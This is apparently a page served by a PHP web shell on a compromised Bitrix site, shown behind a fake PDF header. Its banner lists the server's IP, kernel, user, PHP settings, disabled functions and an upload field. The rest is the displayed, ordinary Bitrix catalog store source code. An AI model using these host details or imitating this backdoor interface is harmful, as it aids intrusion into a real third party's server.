%PDF- %PDF-
Server IP : 37.220.80.31 / Your IP : 18.191.162.21 Web Server : Apache/2.4.52 (Ubuntu) System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64 User : www-root ( 1010) PHP Version : 7.4.33 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/catalog/general/ |
Upload File : |
<?php use Bitrix\Main, Bitrix\Catalog, Bitrix\Iblock; IncludeModuleLangFile(__FILE__); class CAllCatalogStore { protected static function CheckFields($action, &$arFields) { if (array_key_exists("ADDRESS", $arFields) && (string)$arFields["ADDRESS"] == '') { $GLOBALS["APPLICATION"]->ThrowException(GetMessage("CS_EMPTY_ADDRESS")); $arFields["ADDRESS"] = ' '; } if ($action == 'ADD') { if (array_key_exists('IMAGE_ID', $arFields)) { $arFields['IMAGE_ID'] = (int)$arFields['IMAGE_ID']; if ($arFields['IMAGE_ID'] <= 0) { $arFields['IMAGE_ID'] = false; } } if (array_key_exists('LOCATION_ID', $arFields)) { $arFields['LOCATION_ID'] = (int)$arFields['LOCATION_ID']; if ($arFields['LOCATION_ID'] <= 0) { $arFields['IMAGE_ID'] = false; } } } if(($action == 'UPDATE') && is_set($arFields, "ID")) unset($arFields["ID"]); if ($action == 'UPDATE') { if (array_key_exists('IMAGE_ID', $arFields)) { if ($arFields['IMAGE_ID'] === null || $arFields['IMAGE_ID'] === 'null' || $arFields['IMAGE_ID'] === false) { $arFields['IMAGE_ID'] = false; } elseif (is_string($arFields['IMAGE_ID']) || is_int($arFields['IMAGE_ID'])) { $arFields['IMAGE_ID'] = (int)$arFields['IMAGE_ID']; if ($arFields['IMAGE_ID'] <= 0) { unset($arFields['IMAGE_ID']); } } else { unset($arFields['IMAGE_ID']); } } } if(isset($arFields["ISSUING_CENTER"]) && ($arFields["ISSUING_CENTER"]) !== 'Y') { $arFields["ISSUING_CENTER"] = 'N'; } if(isset($arFields["SHIPPING_CENTER"]) && ($arFields["SHIPPING_CENTER"]) !== 'Y') { $arFields["SHIPPING_CENTER"] = 'N'; } if(isset($arFields["SITE_ID"]) && ($arFields["SITE_ID"]) === '0') { $arFields["SITE_ID"] = ''; } if (isset($arFields['CODE']) && $arFields['CODE'] === '') $arFields['CODE'] = false; return true; } public static function Update($id, $arFields) { global $DB; $id = (int)$id; if ($id <= 0) return false; foreach (GetModuleEvents("catalog", "OnBeforeCatalogStoreUpdate", true) as $arEvent) { if (ExecuteModuleEventEx($arEvent, array($id, &$arFields))===false) return false; } if(array_key_exists('DATE_CREATE',$arFields)) unset($arFields['DATE_CREATE']); if(array_key_exists('DATE_MODIFY', $arFields)) unset($arFields['DATE_MODIFY']); if(array_key_exists('DATE_STATUS', $arFields)) unset($arFields['DATE_STATUS']); if(array_key_exists('CREATED_BY', $arFields)) unset($arFields['CREATED_BY']); $arFields['~DATE_MODIFY'] = $DB->GetNowFunction(); if (!self::CheckFields('UPDATE', $arFields)) return false; $strUpdate = $DB->PrepareUpdate("b_catalog_store", $arFields); $bNeedConversion = false; if (!empty($strUpdate)) { if (isset($arFields['ACTIVE'])) { $row = Catalog\StoreTable::getList(array( 'select' => array('ACTIVE'), 'filter' => array('=ID' => $id) ))->fetch(); if (!empty($row)) $bNeedConversion = ($row['ACTIVE'] != $arFields['ACTIVE']); unset($row); } $strSql = "update b_catalog_store set ".$strUpdate." where ID = ".$id; if(!$DB->Query($strSql, false, "File: ".__FILE__."<br>Line: ".__LINE__)) return false; CCatalogStoreControlUtil::clearStoreName($id); Catalog\StoreTable::getEntity()->cleanCache(); } if($bNeedConversion) { self::recalculateStoreBalances($id); } foreach(GetModuleEvents("catalog", "OnCatalogStoreUpdate", true) as $arEvent) ExecuteModuleEventEx($arEvent, array($id, $arFields)); return $id; } public static function Delete($id) { global $DB, $USER_FIELD_MANAGER; $id = intval($id); if($id > 0) { foreach (GetModuleEvents("catalog", "OnBeforeCatalogStoreDelete", true) as $arEvent) { if(ExecuteModuleEventEx($arEvent, array($id))===false) return false; } $dbDocs = $DB->Query("select ID from b_catalog_docs_element where STORE_FROM = ".$id." or STORE_TO = ".$id, true); if($bStoreHaveDocs = $dbDocs->Fetch()) { $GLOBALS["APPLICATION"]->ThrowException(GetMessage("CS_STORE_HAVE_DOCS")); return false; } $DB->Query("delete from b_catalog_store_product where STORE_ID = ".$id, true); $DB->Query("delete from b_catalog_store where ID = ".$id, true); $USER_FIELD_MANAGER->Delete(Catalog\StoreTable::getUfId(), $id); Catalog\StoreTable::getEntity()->cleanCache(); foreach(GetModuleEvents("catalog", "OnCatalogStoreDelete", true) as $arEvent) ExecuteModuleEventEx($arEvent, array($id)); self::recalculateStoreBalances($id); CCatalogStoreControlUtil::clearStoreName($id); return true; } return false; } /** * Recalculate quantity for store. * * @param int $storeId Store id. * @return bool * @throws Main\ArgumentException * @throws Main\Db\SqlQueryException */ public static function recalculateStoreBalances($storeId) { $storeId = (int)$storeId; if ($storeId <= 0) return false; if (!Catalog\Config\State::isUsedInventoryManagement()) return true; $iterator = Catalog\StoreTable::getList([ 'select' => ['ID'], 'filter' => ['=ID' => $storeId] ]); $row = $iterator->fetch(); unset($iterator); if (empty($row)) return false; unset($row); $errors = []; $connection = Main\Application::getConnection(); Iblock\PropertyIndex\Manager::enableDeferredIndexing(); Catalog\Product\Sku::enableDeferredCalculation(); $iblockIds = []; $startId = 0; do { $found = false; $productIds = []; $iterator = Catalog\StoreProductTable::getList([ 'select' => ['ID', 'PRODUCT_ID'], 'filter' => ['>ID' => $startId, '=STORE_ID' => $storeId, '!=AMOUNT' => 0], 'order' => ['ID' => 'ASC'], 'limit' => 200 ]); while ($row = $iterator->fetch()) { $found = true; $startId = (int)$row['ID']; $productIds[] = (int)$row['PRODUCT_ID']; } unset($row, $iterator); if (!empty($productIds)) Main\Type\Collection::normalizeArrayValuesByInt($productIds, true); if (!empty($productIds)) { $products = []; $iterator = Catalog\Model\Product::getList([ 'select' => ['ID', 'QUANTITY_RESERVED', 'IBLOCK_ID' => 'IBLOCK_ELEMENT.IBLOCK_ID'], 'filter' => ['@ID' => $productIds], 'order' => ['ID' => 'ASC'] ]); while ($row = $iterator->fetch()) { if ($row['IBLOCK_ID'] === null) continue; $rowId = (int)$row['ID']; $iblock = (int)$row['IBLOCK_ID']; $iblockIds[$iblock] = $iblock; $products[$rowId] = [ 'QUANTITY_RESERVED' => (float)$row['QUANTITY_RESERVED'], 'IBLOCK_ID' => $iblock ]; } unset($row, $iterator); if (!empty($products)) { $query = 'select SUM(CSP.AMOUNT) as PRODUCT_QUANTITY, CSP.PRODUCT_ID '. 'from b_catalog_store_product CSP inner join b_catalog_store CS on CS.ID = CSP.STORE_ID '. 'where CSP.PRODUCT_ID in ('.implode(',', array_keys($products)).') and CS.ACTIVE = "Y" '. 'group by CSP.PRODUCT_ID'; $iterator = $connection->query($query); while ($row = $iterator->fetch()) { $rowId = (int)$row['PRODUCT_ID']; $data = [ 'fields' => [ 'QUANTITY' => (float)$row['PRODUCT_QUANTITY'] - $products[$rowId]['QUANTITY_RESERVED'] ], 'external_fields' => [ 'IBLOCK_ID' => $products[$rowId]['IBLOCK_ID'] ] ]; $resultInternal = Catalog\Model\Product::update($rowId, $data); if (!$resultInternal->isSuccess()) $errors[$rowId] = $resultInternal->getErrorMessages(); unset($products[$rowId]); } unset($row, $iterator, $query); } if (!empty($products)) { foreach ($products as $rowId => $rowData) { $data = [ 'fields' => [ 'QUANTITY' => -$products[$rowId]['QUANTITY_RESERVED'] ], 'external_fields' => [ 'IBLOCK_ID' => $products[$rowId]['IBLOCK_ID'] ] ]; $resultInternal = Catalog\Model\Product::update($rowId, $data); if (!$resultInternal->isSuccess()) $errors[$rowId] = $resultInternal->getErrorMessages(); unset($products[$rowId]); } unset($rowId, $rowData); } unset($products); } unset($productIds); } while ($found); unset($connection); Catalog\Product\Sku::disableDeferredCalculation(); Catalog\Product\Sku::calculate(); Iblock\PropertyIndex\Manager::disableDeferredIndexing(); if (!empty($iblockIds)) { foreach ($iblockIds as $iblock) Iblock\PropertyIndex\Manager::runDeferredIndexing($iblock); } unset($iblockIds); Catalog\Model\Product::clearCache(); return empty($errors); } }